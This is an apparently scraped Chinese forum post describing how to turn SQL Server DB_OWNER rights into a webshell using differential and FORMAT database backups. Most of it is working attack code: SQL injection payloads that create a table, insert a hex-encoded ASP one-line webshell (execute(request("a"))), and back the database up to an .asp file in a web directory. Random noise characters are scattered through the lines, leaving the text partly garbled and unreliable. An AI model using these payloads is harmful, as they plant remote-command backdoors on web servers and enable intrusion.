DB_OWNER权限得到webshell的两点改进:
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" c5 P: [& K3 C+ ?' @" }6 J减少备份文件大小,得到可执行的webshell成功率提高不少& c J1 A9 b% K$ F: m
一利用差异备份- l" L4 ]1 Y( b! Y
加一个参数WITH DIFFERENTIAL" ^. R8 v1 Q9 G$ V4 s) d+ K
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2 i4 y, K! r' U! U. ], h% J declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
8 B) o* U/ \9 @2 Qcreate table [dbo].[xiaolu] ([cmd] [image]);
: o& T; F" R! d4 F4 }+ Dinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)1 ^- `; }" M6 \! r2 M- f8 B, ^
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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6 F3 O p7 ]3 Y4 v二利用完全FORMAT
* ? \: R# X7 M: M加一个参数WITH FROMAT
+ S7 P* {0 `* S1 c+ K! R) A有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以6 L9 Z H* C" c& b- F- }1 \' |
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
V8 ~5 ?1 P( N. ^create table [dbo].[xiaolu] ([cmd] [image]);; i1 h) m: b2 I
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
9 C0 e0 P, y; O, M$ D1 ]4 }. \declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT 9 t; y7 }8 Q; D* @8 _" v
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总的来说就是那么简单几句,下面以备份数据库model为例子' G: T4 ]( s' H! m' i: H
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( p4 }6 n9 c& o3 Z) B id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') " k/ D6 v6 _0 v8 _1 J0 T7 T) r' p" j
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id=1;backup database model to disk='你的路径‘ with differential,format;--
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